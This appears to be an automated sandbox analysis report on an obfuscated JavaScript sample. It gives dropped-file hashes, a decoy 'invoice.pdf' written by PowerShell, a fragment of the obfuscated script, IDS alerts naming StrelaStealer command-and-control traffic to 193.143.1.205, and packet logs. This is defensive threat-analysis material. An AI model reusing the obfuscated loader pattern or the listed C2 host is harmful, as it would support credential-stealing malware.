Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\324da890-9461-4b38-973f-8057932c074a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\3875fdbb-e8bc-451f-af1c-350aae60adad.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLkwZGuGZn3mlind9i4ufFXpAXkru
MD5:	CA6B0D9F8DDC295DACE8157B69CA7CF6
SHA1:	6299B4A49AB28786E7BF75E1481D8011E6022AF4
SHA-256:	A933C727CE6547310A0D7DAD8704B0F16DB90E024218ACE2C39E46B8329409C7
SHA-512:	9F150CDA866D433BD595F23124E369D2B797A0CA76A69BA98D30DF462F0A95D13E3B0834887B5CD2A032A55161A0DC8BB30C16AA89663939D6DCF83FAC056D34
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\ca0709f1-2688-4fcf-ad9c-34ec916bc9e4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\e30ccc3b-51ae-410a-8667-3d910b4b65df.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:GqA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:5VB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A9C99A0DD153B23D2C4DC943CC1567B4
SHA1:	B7B59DEEA23EDB8F8868D28D6BD67B20B21AFC58
SHA-256:	2BAC328B0024285F5D0CC1407253D2C82EF65770FE5538FDB5863E05837D96D9
SHA-512:	27873463B8DEB439C9550A0BD0FF2E4E46B2B3B485839BA25FFB17825A13D43C35C8BDD93A3239D9FAC408FB69EC15CA7D458A4A3D9DAFB29E7622BEBFC8CDA0
Malicious:	false
Preview:	...........}.s.H....W`E.........M9h...q..p......%..!q.p....~..2......DlWtW!)?_.\|....?..?.s.w1.i..G...h6.]..y...p..m.b..N..rr..F..Xc...l.4.."..Q.... hL.p......s...x6..:.....x.~.6.Q..~......~b7..k.l......Yc.G[....hY3...C..n..\|.'6......i4f...,.."...O.b...x..,..jgc..bTn....,u.F..0......V.K,u..p....X.wAap...+.G..v....i.z...E.Rj8.a.r..<@.q.'...!.4..]...\|..3...-.2...`...4..i...w......$0D.....i./a......Z.]..e.mj..c}.?.....o......c...W..+....c...W...?8...n.......U..7..O........@....'...^.z..=.m....o.o<..~....... ...C{......w.m.h.-Q...6.(..uk/w!...Z..n.....p.U........T^w..[....1l...../i......0..1U\|}../xS}.q..B\|.......h>....S....g...A.s6.=.&....~.\.......-N.p...._.xex.....}.r..q$..<.S;l=. ..P..55;....[.}.T......d.p..vd'vl.].DN..o...................D...].......I}.t...D`?..n.A.zT..:@.`S5.K..,R....h...XzT....F..Xt...R...+N.....ee...P...F+C.....dq...r..5..aP.zY....c.f/..Pn...:f.>.Z..s.+.......7...O.C.#..6.....=.K.5{.%6,..Z.....DqZ.4....g-%.p..n...\

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	false
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16541), with CRLF line terminators
Entropy (8bit):	4.929263639317241
TrID:
File name:	1731726859230921847.js
File size:	20'021 bytes
MD5:	27f6a55ced96ef310ccd0e506501a2ed
SHA1:	2647811e5bdcc667b1b51526ee292189b5bdf75c
SHA256:	5e465bd2606d6dd851f73952547440fe519dbef6cf868f8376acccc55f47bba0
SHA512:	53b1037ac0c5ebee8b84420e9c5313a6a1e12dcfed6d4c025ea164af87eeca93a1a9e3d841fafb4783c156517eb0fcfbc036975f6cf6b0c6bca46a451e08fd56
SSDEEP:	384:q8qQT57X77UKfyUKf0qrpl9buTbCvVASEEn6+JHFXYarMcqiJ6IZCmY4CLdqlc5G:5qQT57X77UKfyUKf0qlqCvVAPEn6+JHp
TLSH:	9F9287835A58545DE2D443F1199A04C0436C63CEAAF6F2A77A6828C6C905CF4AFE35FF
File Content Preview:	function fzxaopmgj(){hsift=[1031,3079,5127,4103,2055,3072];var wpswpztfy=this[kzgvg+esngolfje+ksssmtyz+feljk+bobaji+ktmau+cyoeytfy+usjbiury](this[wcdperee+qkuborffo+latjxxw+ksssmtyz+rlyfcx+kzgvg+usjbiury][ferqh+ksssmtyz+bobaji+esngolfje+usjbiury+bobaji+qc

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T05:22:38.524569+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.7	49699	193.143.1.205	80	TCP
2025-01-11T05:22:38.524569+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.7	49699	193.143.1.205	80	TCP
2025-01-11T05:22:41.372696+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.7	49700	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 05:22:37.719851017 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:37.724821091 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:37.724894047 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:37.728027105 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:37.732948065 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.524384022 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.524403095 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.524421930 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.524435997 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.524447918 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.524458885 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.524470091 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.524482012 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.524493933 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.524506092 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.524569035 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.524569035 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.524569035 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.529417038 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.529577971 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.529655933 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.581549883 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.581567049 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.581630945 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.645797014 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.645813942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.645824909 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.645884991 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.646094084 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.646106005 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.646116972 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.646142960 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.646167994 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.646236897 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.646249056 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.646259069 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.646305084 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.646684885 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.646697044 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.646708965 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.646739006 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.646754026 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.646785021 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.646796942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.646826982 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.647559881 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.647578001 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.647588968 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.647599936 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.647612095 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.647639036 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.650053978 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.651462078 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.653479099 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.653492928 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.653502941 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.653522015 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.668437958 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.668505907 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.745542049 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.745559931 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.745569944 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.745615005 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.766658068 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.766681910 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.766691923 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.766710043 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.766737938 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.766850948 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.766863108 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.766874075 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.766904116 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.766916037 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.766927958 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.766938925 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.766952991 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.766980886 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.766983032 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.767705917 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.767726898 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.767738104 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.767745972 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.767749071 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.767771006 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.768191099 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.768203020 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.768215895 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.768228054 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.768239021 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.768239975 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.768249989 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.768261909 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.768297911 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.768315077 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.769078970 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.769090891 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.769100904 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.769109964 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.769120932 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.769130945 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.769141912 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.769164085 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.769177914 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.770001888 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.770015001 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.770020962 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.770025969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.770035982 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.770045996 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.770056963 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.770081043 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.770117998 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.770920038 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.770932913 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.770944118 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.770953894 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.770965099 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.770971060 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.770977020 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.770988941 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.771011114 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.771040916 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.771714926 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.771725893 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.771759033 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.825670958 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.836502075 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.836519003 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.836571932 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.871093035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.871134043 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.871145964 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.871157885 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.871174097 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.871185064 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.871222019 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.887990952 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.888037920 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.888047934 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.888072968 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.888118029 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.888125896 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.888129950 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.888148069 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.888159990 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.888173103 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.888211966 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.888695002 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.888748884 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.888761997 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.888772964 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.888783932 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.888801098 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.888816118 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.889277935 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.889291048 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.889297009 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.889308929 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.889328957 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.889344931 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.889355898 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.889364004 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.889383078 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:22:38.890027046 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.890038967 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.890050888 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:22:38.890069962 CET	49699	80	192.168.2.7	193.143.1.205
